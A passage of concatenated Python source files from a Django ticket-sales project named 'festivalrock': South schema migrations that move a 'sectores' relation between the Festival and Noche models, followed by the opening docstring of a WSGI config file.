'Meta': {'object_name': 'Vendedor'},
'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),
'nombre': ('django.db.models.fields.CharField', [], {'max_length': '50'}),
'user': ('django.db.models.fields.related.OneToOneField', [], {'to': "orm['auth.User']", 'unique': 'True'})
},
'festivalrock.venta': {
'Meta': {'object_name': 'Venta'},
'butaca': ('django.db.models.fields.related.OneToOneField', [], {'to': "orm['festivalrock.Butaca']", 'unique': 'True'}),
'entradas': ('django.db.models.fields.related.ForeignKey', [], {'to': "orm['festivalrock.Entrada']"}),
'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),
'vendedor': ('django.db.models.fields.related.OneToOneField', [], {'to': "orm['festivalrock.Vendedor']", 'unique': 'True'})
}
}
complete_apps = ['festivalrock'] | Python |
# -*- coding: utf-8 -*-
import datetime
from south.db import db
from south.v2 import SchemaMigration
from django.db import models
class Migration(SchemaMigration):
def forwards(self, orm):
# Adding field 'Festival.sectores'
db.add_column('festivalrock_festival', 'sectores',
self.gf('django.db.models.fields.related.ForeignKey')(default=0, to=orm['festivalrock.Sector']),
keep_default=False)
def backwards(self, orm):
# Deleting field 'Festival.sectores'
db.delete_column('festivalrock_festival', 'sectores_id')
models = {
'auth.group': {
'Meta': {'object_name': 'Group'},
'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),
'name': ('django.db.models.fields.CharField', [], {'unique': 'True', 'max_length': '80'}),
'permissions': ('django.db.models.fields.related.ManyToManyField', [], {'to': "orm['auth.Permission']", 'symmetrical': 'False', 'blank': 'True'})
},
'auth.permission': {
'Meta': {'ordering': "('content_type__app_label', 'content_type__model', 'codename')", 'unique_together': "(('content_type', 'codename'),)", 'object_name': 'Permission'},
'codename': ('django.db.models.fields.CharField', [], {'max_length': '100'}),
'content_type': ('django.db.models.fields.related.ForeignKey', [], {'to': "orm['contenttypes.ContentType']"}),
'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),
'name': ('django.db.models.fields.CharField', [], {'max_length': '50'})
},
'auth.user': {
'Meta': {'object_name': 'User'},
'date_joined': ('django.db.models.fields.DateTimeField', [], {'default': 'datetime.datetime.now'}),
'email': ('django.db.models.fields.EmailField', [], {'max_length': '75', 'blank': 'True'}),
'first_name': ('django.db.models.fields.CharField', [], {'max_length': '30', 'blank': 'True'}),
'groups': ('django.db.models.fields.related.ManyToManyField', [], {'to': "orm['auth.Group']", 'symmetrical': 'False', 'blank': 'True'}),
'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),
'is_active': ('django.db.models.fields.BooleanField', [], {'default': 'True'}),
'is_staff': ('django.db.models.fields.BooleanField', [], {'default': 'False'}),
'is_superuser': ('django.db.models.fields.BooleanField', [], {'default': 'False'}),
'last_login': ('django.db.models.fields.DateTimeField', [], {'default': 'datetime.datetime.now'}),
'last_name': ('django.db.models.fields.CharField', [], {'max_length': '30', 'blank': 'True'}),
'password': ('django.db.models.fields.CharField', [], {'max_length': '128'}),
'user_permissions': ('django.db.models.fields.related.ManyToManyField', [], {'to': "orm['auth.Permission']", 'symmetrical': 'False', 'blank': 'True'}),
'username': ('django.db.models.fields.CharField', [], {'unique': 'True', 'max_length': '30'})
},
'contenttypes.contenttype': {
'Meta': {'ordering': "('name',)", 'unique_together': "(('app_label', 'model'),)", 'object_name': 'ContentType', 'db_table': "'django_content_type'"},
'app_label': ('django.db.models.fields.CharField', [], {'max_length': '100'}),
'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),
'model': ('django.db.models.fields.CharField', [], {'max_length': '100'}),
'name': ('django.db.models.fields.CharField', [], {'max_length': '100'})
},
'festivalrock.banda': {
'Meta': {'object_name': 'Banda'},
'categoria': ('django.db.models.fields.IntegerField', [], {}),
'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),
'nombre': ('django.db.models.fields.CharField', [], {'unique': 'True', 'max_length': '50'})
},
'festivalrock.butaca': {
'Meta': {'object_name': 'Butaca'},
'estado': ('django.db.models.fields.CharField', [], {'default': "'disponible'", 'max_length': '200'}),
'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),
'numero': ('django.db.models.fields.IntegerField', [], {})
},
'festivalrock.centrodeventa': {
'Meta': {'object_name': 'CentroDeVenta'},
'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),
'nombre': ('django.db.models.fields.CharField', [], {'max_length': '20'}),
'puntosDeVenta': ('django.db.models.fields.related.ForeignKey', [], {'to': "orm['festivalrock.PuntoVenta']"})
},
'festivalrock.descuento': {
'Meta': {'object_name': 'Descuento'},
'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),
'nombre': ('django.db.models.fields.CharField', [], {'max_length': '20'}),
'porcentaje': ('django.db.models.fields.DecimalField', [], {'max_digits': '4', 'decimal_places': '2'})
},
'festivalrock.descuentoanticipada': {
'Meta': {'object_name': 'DescuentoAnticipada', '_ormbases': ['festivalrock.Descuento']},
'descuento_ptr': ('django.db.models.fields.related.OneToOneField', [], {'to': "orm['festivalrock.Descuento']", 'unique': 'True', 'primary_key': 'True'}),
'diasAnticipados': ('django.db.models.fields.IntegerField', [], {}),
'presentacion': ('django.db.models.fields.related.ForeignKey', [], {'to': "orm['festivalrock.Presentacion']"})
},
'festivalrock.entrada': {
'Meta': {'object_name': 'Entrada'},
'codigoBarra': ('django.db.models.fields.CharField', [], {'max_length': '20'}),
'descuento': ('django.db.models.fields.related.ForeignKey', [], {'to': "orm['festivalrock.Descuento']"}),
'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),
'porcentajeDescuento': ('django.db.models.fields.DecimalField', [], {'max_digits': '4', 'decimal_places': '2'}),
'presentacion': ('django.db.models.fields.related.ForeignKey', [], {'to': "orm['festivalrock.Presentacion']"})
},
'festivalrock.entradajubilados': {
'Meta': {'object_name': 'EntradaJubilados', '_ormbases': ['festivalrock.Entrada']},
'entrada_ptr': ('django.db.models.fields.related.OneToOneField', [], {'to': "orm['festivalrock.Entrada']", 'unique': 'True', 'primary_key': 'True'})
},
'festivalrock.entradamayores': {
'Meta': {'object_name': 'EntradaMayores', '_ormbases': ['festivalrock.Entrada']},
'entrada_ptr': ('django.db.models.fields.related.OneToOneField', [], {'to': "orm['festivalrock.Entrada']", 'unique': 'True', 'primary_key': 'True'})
},
'festivalrock.entradamenores': {
'Meta': {'object_name': 'EntradaMenores', '_ormbases': ['festivalrock.Entrada']},
'entrada_ptr': ('django.db.models.fields.related.OneToOneField', [], {'to': "orm['festivalrock.Entrada']", 'unique': 'True', 'primary_key': 'True'})
},
'festivalrock.festival': {
'Meta': {'object_name': 'Festival'},
'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),
'noches': ('django.db.models.fields.related.ForeignKey', [], {'to': "orm['festivalrock.Noche']"}),
'nombre': ('django.db.models.fields.CharField', [], {'unique': 'True', 'max_length': '50'}),
'sectores': ('django.db.models.fields.related.ForeignKey', [], {'to': "orm['festivalrock.Sector']"})
},
'festivalrock.fila': {
'Meta': {'object_name': 'Fila'},
'butacas': ('django.db.models.fields.related.ManyToManyField', [], {'to': "orm['festivalrock.Butaca']", 'symmetrical': 'False'}),
'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),
'numero': ('django.db.models.fields.IntegerField', [], {})
},
'festivalrock.noche': {
'Meta': {'object_name': 'Noche'},
'fecha': ('django.db.models.fields.DateField', [], {}),
'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),
'nombre': ('django.db.models.fields.CharField', [], {'max_length': '20'}),
'presentaciones': ('django.db.models.fields.related.ManyToManyField', [], {'to': "orm['festivalrock.Presentacion']", 'symmetrical': 'False'})
},
'festivalrock.presentacion': {
'Meta': {'object_name': 'Presentacion'},
'banda': ('django.db.models.fields.related.ForeignKey', [], {'to': "orm['festivalrock.Banda']"}),
'horaFin': ('django.db.models.fields.TimeField', [], {}),
'horaInicio': ('django.db.models.fields.TimeField', [], {}),
'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'})
},
'festivalrock.puntoventa': {
'Meta': {'object_name': 'PuntoVenta'},
'festivales': ('django.db.models.fields.related.ManyToManyField', [], {'to': "orm['festivalrock.Festival']", 'symmetrical': 'False'}),
'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),
'nombre': ('django.db.models.fields.CharField', [], {'max_length': '20'}),
'vendedor': ('django.db.models.fields.related.ManyToManyField', [], {'to': "orm['festivalrock.Vendedor']", 'symmetrical': 'False'})
},
'festivalrock.sector': {
'Meta': {'object_name': 'Sector'},
'cantidadButacas': ('django.db.models.fields.IntegerField', [], {}),
'cantidadFilas': ('django.db.models.fields.IntegerField', [], {}),
'color': ('django.db.models.fields.CharField', [], {'max_length': '10'}),
'filas': ('django.db.models.fields.related.ManyToManyField', [], {'to': "orm['festivalrock.Fila']", 'symmetrical': 'False'}),
'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),
'importeEntradaBase': ('festivalrock.utils.CurrencyField', [], {'blank': 'True'}),
'nombre': ('django.db.models.fields.CharField', [], {'unique': 'True', 'max_length': '20'}),
'presentacion': ('django.db.models.fields.related.ForeignKey', [], {'to': "orm['festivalrock.Presentacion']"})
},
'festivalrock.vendedor': {
'Meta': {'object_name': 'Vendedor'},
'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),
'nombre': ('django.db.models.fields.CharField', [], {'max_length': '50'}),
'user': ('django.db.models.fields.related.OneToOneField', [], {'to': "orm['auth.User']", 'unique': 'True'})
},
'festivalrock.venta': {
'Meta': {'object_name': 'Venta'},
'butaca': ('django.db.models.fields.related.OneToOneField', [], {'to': "orm['festivalrock.Butaca']", 'unique': 'True'}),
'entradas': ('django.db.models.fields.related.ForeignKey', [], {'to': "orm['festivalrock.Entrada']"}),
'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),
'vendedor': ('django.db.models.fields.related.OneToOneField', [], {'to': "orm['festivalrock.Vendedor']", 'unique': 'True'})
}
}
complete_apps = ['festivalrock'] | Python |
# -*- coding: utf-8 -*-
import datetime
from south.db import db
from south.v2 import SchemaMigration
from django.db import models
class Migration(SchemaMigration):
def forwards(self, orm):
# Deleting field 'Festival.sectores'
db.delete_column('festivalrock_festival', 'sectores_id')
# Adding field 'Noche.sectores'
db.add_column('festivalrock_noche', 'sectores',
self.gf('django.db.models.fields.related.ForeignKey')(default=0, to=orm['festivalrock.Sector']),
keep_default=False)
def backwards(self, orm):
# Adding field 'Festival.sectores'
db.add_column('festivalrock_festival', 'sectores',
self.gf('django.db.models.fields.related.ForeignKey')(default=0, to=orm['festivalrock.Sector']),
keep_default=False)
# Deleting field 'Noche.sectores'
db.delete_column('festivalrock_noche', 'sectores_id')
models = {
'auth.group': {
'Meta': {'object_name': 'Group'},
'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),
'name': ('django.db.models.fields.CharField', [], {'unique': 'True', 'max_length': '80'}),
'permissions': ('django.db.models.fields.related.ManyToManyField', [], {'to': "orm['auth.Permission']", 'symmetrical': 'False', 'blank': 'True'})
},
'auth.permission': {
'Meta': {'ordering': "('content_type__app_label', 'content_type__model', 'codename')", 'unique_together': "(('content_type', 'codename'),)", 'object_name': 'Permission'},
'codename': ('django.db.models.fields.CharField', [], {'max_length': '100'}),
'content_type': ('django.db.models.fields.related.ForeignKey', [], {'to': "orm['contenttypes.ContentType']"}),
'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),
'name': ('django.db.models.fields.CharField', [], {'max_length': '50'})
},
'auth.user': {
'Meta': {'object_name': 'User'},
'date_joined': ('django.db.models.fields.DateTimeField', [], {'default': 'datetime.datetime.now'}),
'email': ('django.db.models.fields.EmailField', [], {'max_length': '75', 'blank': 'True'}),
'first_name': ('django.db.models.fields.CharField', [], {'max_length': '30', 'blank': 'True'}),
'groups': ('django.db.models.fields.related.ManyToManyField', [], {'to': "orm['auth.Group']", 'symmetrical': 'False', 'blank': 'True'}),
'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),
'is_active': ('django.db.models.fields.BooleanField', [], {'default': 'True'}),
'is_staff': ('django.db.models.fields.BooleanField', [], {'default': 'False'}),
'is_superuser': ('django.db.models.fields.BooleanField', [], {'default': 'False'}),
'last_login': ('django.db.models.fields.DateTimeField', [], {'default': 'datetime.datetime.now'}),
'last_name': ('django.db.models.fields.CharField', [], {'max_length': '30', 'blank': 'True'}),
'password': ('django.db.models.fields.CharField', [], {'max_length': '128'}),
'user_permissions': ('django.db.models.fields.related.ManyToManyField', [], {'to': "orm['auth.Permission']", 'symmetrical': 'False', 'blank': 'True'}),
'username': ('django.db.models.fields.CharField', [], {'unique': 'True', 'max_length': '30'})
},
'contenttypes.contenttype': {
'Meta': {'ordering': "('name',)", 'unique_together': "(('app_label', 'model'),)", 'object_name': 'ContentType', 'db_table': "'django_content_type'"},
'app_label': ('django.db.models.fields.CharField', [], {'max_length': '100'}),
'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),
'model': ('django.db.models.fields.CharField', [], {'max_length': '100'}),
'name': ('django.db.models.fields.CharField', [], {'max_length': '100'})
},
'festivalrock.banda': {
'Meta': {'object_name': 'Banda'},
'categoria': ('django.db.models.fields.IntegerField', [], {}),
'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),
'nombre': ('django.db.models.fields.CharField', [], {'unique': 'True', 'max_length': '50'})
},
'festivalrock.butaca': {
'Meta': {'object_name': 'Butaca'},
'estado': ('django.db.models.fields.CharField', [], {'default': "'disponible'", 'max_length': '200'}),
'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),
'numero': ('django.db.models.fields.IntegerField', [], {})
},
'festivalrock.centrodeventa': {
'Meta': {'object_name': 'CentroDeVenta'},
'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),
'nombre': ('django.db.models.fields.CharField', [], {'max_length': '20'}),
'puntosDeVenta': ('django.db.models.fields.related.ForeignKey', [], {'to': "orm['festivalrock.PuntoVenta']"})
},
'festivalrock.descuento': {
'Meta': {'object_name': 'Descuento'},
'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),
'nombre': ('django.db.models.fields.CharField', [], {'max_length': '20'}),
'porcentaje': ('django.db.models.fields.DecimalField', [], {'max_digits': '4', 'decimal_places': '2'})
},
'festivalrock.descuentoanticipada': {
'Meta': {'object_name': 'DescuentoAnticipada', '_ormbases': ['festivalrock.Descuento']},
'descuento_ptr': ('django.db.models.fields.related.OneToOneField', [], {'to': "orm['festivalrock.Descuento']", 'unique': 'True', 'primary_key': 'True'}),
'diasAnticipados': ('django.db.models.fields.IntegerField', [], {}),
'presentacion': ('django.db.models.fields.related.ForeignKey', [], {'to': "orm['festivalrock.Presentacion']"})
},
'festivalrock.entrada': {
'Meta': {'object_name': 'Entrada'},
'codigoBarra': ('django.db.models.fields.CharField', [], {'max_length': '20'}),
'descuento': ('django.db.models.fields.related.ForeignKey', [], {'to': "orm['festivalrock.Descuento']"}),
'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),
'porcentajeDescuento': ('django.db.models.fields.DecimalField', [], {'max_digits': '4', 'decimal_places': '2'}),
'presentacion': ('django.db.models.fields.related.ForeignKey', [], {'to': "orm['festivalrock.Presentacion']"})
},
'festivalrock.entradajubilados': {
'Meta': {'object_name': 'EntradaJubilados', '_ormbases': ['festivalrock.Entrada']},
'entrada_ptr': ('django.db.models.fields.related.OneToOneField', [], {'to': "orm['festivalrock.Entrada']", 'unique': 'True', 'primary_key': 'True'})
},
'festivalrock.entradamayores': {
'Meta': {'object_name': 'EntradaMayores', '_ormbases': ['festivalrock.Entrada']},
'entrada_ptr': ('django.db.models.fields.related.OneToOneField', [], {'to': "orm['festivalrock.Entrada']", 'unique': 'True', 'primary_key': 'True'})
},
'festivalrock.entradamenores': {
'Meta': {'object_name': 'EntradaMenores', '_ormbases': ['festivalrock.Entrada']},
'entrada_ptr': ('django.db.models.fields.related.OneToOneField', [], {'to': "orm['festivalrock.Entrada']", 'unique': 'True', 'primary_key': 'True'})
},
'festivalrock.festival': {
'Meta': {'object_name': 'Festival'},
'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),
'noches': ('django.db.models.fields.related.ForeignKey', [], {'to': "orm['festivalrock.Noche']"}),
'nombre': ('django.db.models.fields.CharField', [], {'unique': 'True', 'max_length': '50'})
},
'festivalrock.fila': {
'Meta': {'object_name': 'Fila'},
'butacas': ('django.db.models.fields.related.ManyToManyField', [], {'to': "orm['festivalrock.Butaca']", 'symmetrical': 'False'}),
'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),
'numero': ('django.db.models.fields.IntegerField', [], {})
},
'festivalrock.noche': {
'Meta': {'object_name': 'Noche'},
'fecha': ('django.db.models.fields.DateField', [], {}),
'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),
'nombre': ('django.db.models.fields.CharField', [], {'max_length': '20'}),
'presentaciones': ('django.db.models.fields.related.ManyToManyField', [], {'to': "orm['festivalrock.Presentacion']", 'symmetrical': 'False'}),
'sectores': ('django.db.models.fields.related.ForeignKey', [], {'to': "orm['festivalrock.Sector']"})
},
'festivalrock.presentacion': {
'Meta': {'object_name': 'Presentacion'},
'banda': ('django.db.models.fields.related.ForeignKey', [], {'to': "orm['festivalrock.Banda']"}),
'horaFin': ('django.db.models.fields.TimeField', [], {}),
'horaInicio': ('django.db.models.fields.TimeField', [], {}),
'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'})
},
'festivalrock.puntoventa': {
'Meta': {'object_name': 'PuntoVenta'},
'festivales': ('django.db.models.fields.related.ManyToManyField', [], {'to': "orm['festivalrock.Festival']", 'symmetrical': 'False'}),
'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),
'nombre': ('django.db.models.fields.CharField', [], {'max_length': '20'}),
'vendedor': ('django.db.models.fields.related.ManyToManyField', [], {'to': "orm['festivalrock.Vendedor']", 'symmetrical': 'False'})
},
'festivalrock.sector': {
'Meta': {'object_name': 'Sector'},
'cantidadButacas': ('django.db.models.fields.IntegerField', [], {}),
'cantidadFilas': ('django.db.models.fields.IntegerField', [], {}),
'color': ('django.db.models.fields.CharField', [], {'max_length': '10'}),
'filas': ('django.db.models.fields.related.ManyToManyField', [], {'to': "orm['festivalrock.Fila']", 'symmetrical': 'False'}),
'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),
'importeEntradaBase': ('festivalrock.utils.CurrencyField', [], {'blank': 'True'}),
'nombre': ('django.db.models.fields.CharField', [], {'unique': 'True', 'max_length': '20'}),
'presentacion': ('django.db.models.fields.related.ForeignKey', [], {'to': "orm['festivalrock.Presentacion']"})
},
'festivalrock.vendedor': {
'Meta': {'object_name': 'Vendedor'},
'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),
'nombre': ('django.db.models.fields.CharField', [], {'max_length': '50'}),
'user': ('django.db.models.fields.related.OneToOneField', [], {'to': "orm['auth.User']", 'unique': 'True'})
},
'festivalrock.venta': {
'Meta': {'object_name': 'Venta'},
'butaca': ('django.db.models.fields.related.OneToOneField', [], {'to': "orm['festivalrock.Butaca']", 'unique': 'True'}),
'entradas': ('django.db.models.fields.related.ForeignKey', [], {'to': "orm['festivalrock.Entrada']"}),
'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),
'vendedor': ('django.db.models.fields.related.OneToOneField', [], {'to': "orm['festivalrock.Vendedor']", 'unique': 'True'})
}
}
complete_apps = ['festivalrock'] | Python |
# -*- coding: utf-8 -*-
import datetime
from south.db import db
from south.v2 import SchemaMigration
from django.db import models
class Migration(SchemaMigration):
def forwards(self, orm):
# Deleting field 'Noche.sectores'
db.delete_column('festivalrock_noche', 'sectores_id')
# Adding M2M table for field sectores on 'Noche'
m2m_table_name = db.shorten_name('festivalrock_noche_sectores')
db.create_table(m2m_table_name, (
('id', models.AutoField(verbose_name='ID', primary_key=True, auto_created=True)),
('noche', models.ForeignKey(orm['festivalrock.noche'], null=False)),
('sector', models.ForeignKey(orm['festivalrock.sector'], null=False))
))
db.create_unique(m2m_table_name, ['noche_id', 'sector_id'])
def backwards(self, orm):
# Adding field 'Noche.sectores'
db.add_column('festivalrock_noche', 'sectores',
self.gf('django.db.models.fields.related.ForeignKey')(default=0, to=orm['festivalrock.Sector']),
keep_default=False)
# Removing M2M table for field sectores on 'Noche'
db.delete_table(db.shorten_name('festivalrock_noche_sectores'))
models = {
'auth.group': {
'Meta': {'object_name': 'Group'},
'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),
'name': ('django.db.models.fields.CharField', [], {'unique': 'True', 'max_length': '80'}),
'permissions': ('django.db.models.fields.related.ManyToManyField', [], {'to': "orm['auth.Permission']", 'symmetrical': 'False', 'blank': 'True'})
},
'auth.permission': {
'Meta': {'ordering': "('content_type__app_label', 'content_type__model', 'codename')", 'unique_together': "(('content_type', 'codename'),)", 'object_name': 'Permission'},
'codename': ('django.db.models.fields.CharField', [], {'max_length': '100'}),
'content_type': ('django.db.models.fields.related.ForeignKey', [], {'to': "orm['contenttypes.ContentType']"}),
'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),
'name': ('django.db.models.fields.CharField', [], {'max_length': '50'})
},
'auth.user': {
'Meta': {'object_name': 'User'},
'date_joined': ('django.db.models.fields.DateTimeField', [], {'default': 'datetime.datetime.now'}),
'email': ('django.db.models.fields.EmailField', [], {'max_length': '75', 'blank': 'True'}),
'first_name': ('django.db.models.fields.CharField', [], {'max_length': '30', 'blank': 'True'}),
'groups': ('django.db.models.fields.related.ManyToManyField', [], {'to': "orm['auth.Group']", 'symmetrical': 'False', 'blank': 'True'}),
'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),
'is_active': ('django.db.models.fields.BooleanField', [], {'default': 'True'}),
'is_staff': ('django.db.models.fields.BooleanField', [], {'default': 'False'}),
'is_superuser': ('django.db.models.fields.BooleanField', [], {'default': 'False'}),
'last_login': ('django.db.models.fields.DateTimeField', [], {'default': 'datetime.datetime.now'}),
'last_name': ('django.db.models.fields.CharField', [], {'max_length': '30', 'blank': 'True'}),
'password': ('django.db.models.fields.CharField', [], {'max_length': '128'}),
'user_permissions': ('django.db.models.fields.related.ManyToManyField', [], {'to': "orm['auth.Permission']", 'symmetrical': 'False', 'blank': 'True'}),
'username': ('django.db.models.fields.CharField', [], {'unique': 'True', 'max_length': '30'})
},
'contenttypes.contenttype': {
'Meta': {'ordering': "('name',)", 'unique_together': "(('app_label', 'model'),)", 'object_name': 'ContentType', 'db_table': "'django_content_type'"},
'app_label': ('django.db.models.fields.CharField', [], {'max_length': '100'}),
'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),
'model': ('django.db.models.fields.CharField', [], {'max_length': '100'}),
'name': ('django.db.models.fields.CharField', [], {'max_length': '100'})
},
'festivalrock.banda': {
'Meta': {'object_name': 'Banda'},
'categoria': ('django.db.models.fields.IntegerField', [], {}),
'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),
'nombre': ('django.db.models.fields.CharField', [], {'unique': 'True', 'max_length': '50'})
},
'festivalrock.butaca': {
'Meta': {'object_name': 'Butaca'},
'estado': ('django.db.models.fields.CharField', [], {'default': "'disponible'", 'max_length': '200'}),
'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),
'numero': ('django.db.models.fields.IntegerField', [], {})
},
'festivalrock.centrodeventa': {
'Meta': {'object_name': 'CentroDeVenta'},
'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),
'nombre': ('django.db.models.fields.CharField', [], {'max_length': '20'}),
'puntosDeVenta': ('django.db.models.fields.related.ForeignKey', [], {'to': "orm['festivalrock.PuntoVenta']"})
},
'festivalrock.descuento': {
'Meta': {'object_name': 'Descuento'},
'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),
'nombre': ('django.db.models.fields.CharField', [], {'max_length': '20'}),
'porcentaje': ('django.db.models.fields.DecimalField', [], {'max_digits': '4', 'decimal_places': '2'})
},
'festivalrock.descuentoanticipada': {
'Meta': {'object_name': 'DescuentoAnticipada', '_ormbases': ['festivalrock.Descuento']},
'descuento_ptr': ('django.db.models.fields.related.OneToOneField', [], {'to': "orm['festivalrock.Descuento']", 'unique': 'True', 'primary_key': 'True'}),
'diasAnticipados': ('django.db.models.fields.IntegerField', [], {}),
'presentacion': ('django.db.models.fields.related.ForeignKey', [], {'to': "orm['festivalrock.Presentacion']"})
},
'festivalrock.entrada': {
'Meta': {'object_name': 'Entrada'},
'codigoBarra': ('django.db.models.fields.CharField', [], {'max_length': '20'}),
'descuento': ('django.db.models.fields.related.ForeignKey', [], {'to': "orm['festivalrock.Descuento']"}),
'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),
'porcentajeDescuento': ('django.db.models.fields.DecimalField', [], {'max_digits': '4', 'decimal_places': '2'}),
'presentacion': ('django.db.models.fields.related.ForeignKey', [], {'to': "orm['festivalrock.Presentacion']"})
},
'festivalrock.entradajubilados': {
'Meta': {'object_name': 'EntradaJubilados', '_ormbases': ['festivalrock.Entrada']},
'entrada_ptr': ('django.db.models.fields.related.OneToOneField', [], {'to': "orm['festivalrock.Entrada']", 'unique': 'True', 'primary_key': 'True'})
},
'festivalrock.entradamayores': {
'Meta': {'object_name': 'EntradaMayores', '_ormbases': ['festivalrock.Entrada']},
'entrada_ptr': ('django.db.models.fields.related.OneToOneField', [], {'to': "orm['festivalrock.Entrada']", 'unique': 'True', 'primary_key': 'True'})
},
'festivalrock.entradamenores': {
'Meta': {'object_name': 'EntradaMenores', '_ormbases': ['festivalrock.Entrada']},
'entrada_ptr': ('django.db.models.fields.related.OneToOneField', [], {'to': "orm['festivalrock.Entrada']", 'unique': 'True', 'primary_key': 'True'})
},
'festivalrock.festival': {
'Meta': {'object_name': 'Festival'},
'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),
'noches': ('django.db.models.fields.related.ForeignKey', [], {'to': "orm['festivalrock.Noche']"}),
'nombre': ('django.db.models.fields.CharField', [], {'unique': 'True', 'max_length': '50'})
},
'festivalrock.fila': {
'Meta': {'object_name': 'Fila'},
'butacas': ('django.db.models.fields.related.ManyToManyField', [], {'to': "orm['festivalrock.Butaca']", 'symmetrical': 'False'}),
'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),
'numero': ('django.db.models.fields.IntegerField', [], {})
},
'festivalrock.noche': {
'Meta': {'object_name': 'Noche'},
'fecha': ('django.db.models.fields.DateField', [], {}),
'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),
'nombre': ('django.db.models.fields.CharField', [], {'max_length': '20'}),
'presentaciones': ('django.db.models.fields.related.ManyToManyField', [], {'to': "orm['festivalrock.Presentacion']", 'symmetrical': 'False'}),
'sectores': ('django.db.models.fields.related.ManyToManyField', [], {'to': "orm['festivalrock.Sector']", 'symmetrical': 'False'})
},
'festivalrock.presentacion': {
'Meta': {'object_name': 'Presentacion'},
'banda': ('django.db.models.fields.related.ForeignKey', [], {'to': "orm['festivalrock.Banda']"}),
'horaFin': ('django.db.models.fields.TimeField', [], {}),
'horaInicio': ('django.db.models.fields.TimeField', [], {}),
'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'})
},
'festivalrock.puntoventa': {
'Meta': {'object_name': 'PuntoVenta'},
'festivales': ('django.db.models.fields.related.ManyToManyField', [], {'to': "orm['festivalrock.Festival']", 'symmetrical': 'False'}),
'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),
'nombre': ('django.db.models.fields.CharField', [], {'max_length': '20'}),
'vendedor': ('django.db.models.fields.related.ManyToManyField', [], {'to': "orm['festivalrock.Vendedor']", 'symmetrical': 'False'})
},
'festivalrock.sector': {
'Meta': {'object_name': 'Sector'},
'cantidadButacas': ('django.db.models.fields.IntegerField', [], {}),
'cantidadFilas': ('django.db.models.fields.IntegerField', [], {}),
'color': ('django.db.models.fields.CharField', [], {'max_length': '10'}),
'filas': ('django.db.models.fields.related.ManyToManyField', [], {'to': "orm['festivalrock.Fila']", 'symmetrical': 'False'}),
'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),
'importeEntradaBase': ('festivalrock.utils.CurrencyField', [], {'blank': 'True'}),
'nombre': ('django.db.models.fields.CharField', [], {'unique': 'True', 'max_length': '20'}),
'presentacion': ('django.db.models.fields.related.ForeignKey', [], {'to': "orm['festivalrock.Presentacion']"})
},
'festivalrock.vendedor': {
'Meta': {'object_name': 'Vendedor'},
'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),
'nombre': ('django.db.models.fields.CharField', [], {'max_length': '50'}),
'user': ('django.db.models.fields.related.OneToOneField', [], {'to': "orm['auth.User']", 'unique': 'True'})
},
'festivalrock.venta': {
'Meta': {'object_name': 'Venta'},
'butaca': ('django.db.models.fields.related.OneToOneField', [], {'to': "orm['festivalrock.Butaca']", 'unique': 'True'}),
'entradas': ('django.db.models.fields.related.ForeignKey', [], {'to': "orm['festivalrock.Entrada']"}),
'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),
'vendedor': ('django.db.models.fields.related.OneToOneField', [], {'to': "orm['festivalrock.Vendedor']", 'unique': 'True'})
}
}
complete_apps = ['festivalrock'] | Python |
"""
WSGI config for festivalrock project.
This module contains the WSGI application used by Django's development server
and any production WSGI deployments. It should expose a module-level variable
named ``application``. Django's ``runserver`` and ``runfcgi`` commands discover
this application via the ``WSGI_APPLICATION`` setting.
Usually you will have the standard Django WSGI application here, but it also
might make sense to replace the whole Django WSGI application with a custom one
that later delegates to the Django one. For example, you could introduce WSGI
middleware here, or combine a Django application with an application of another
framework.
"""
import os
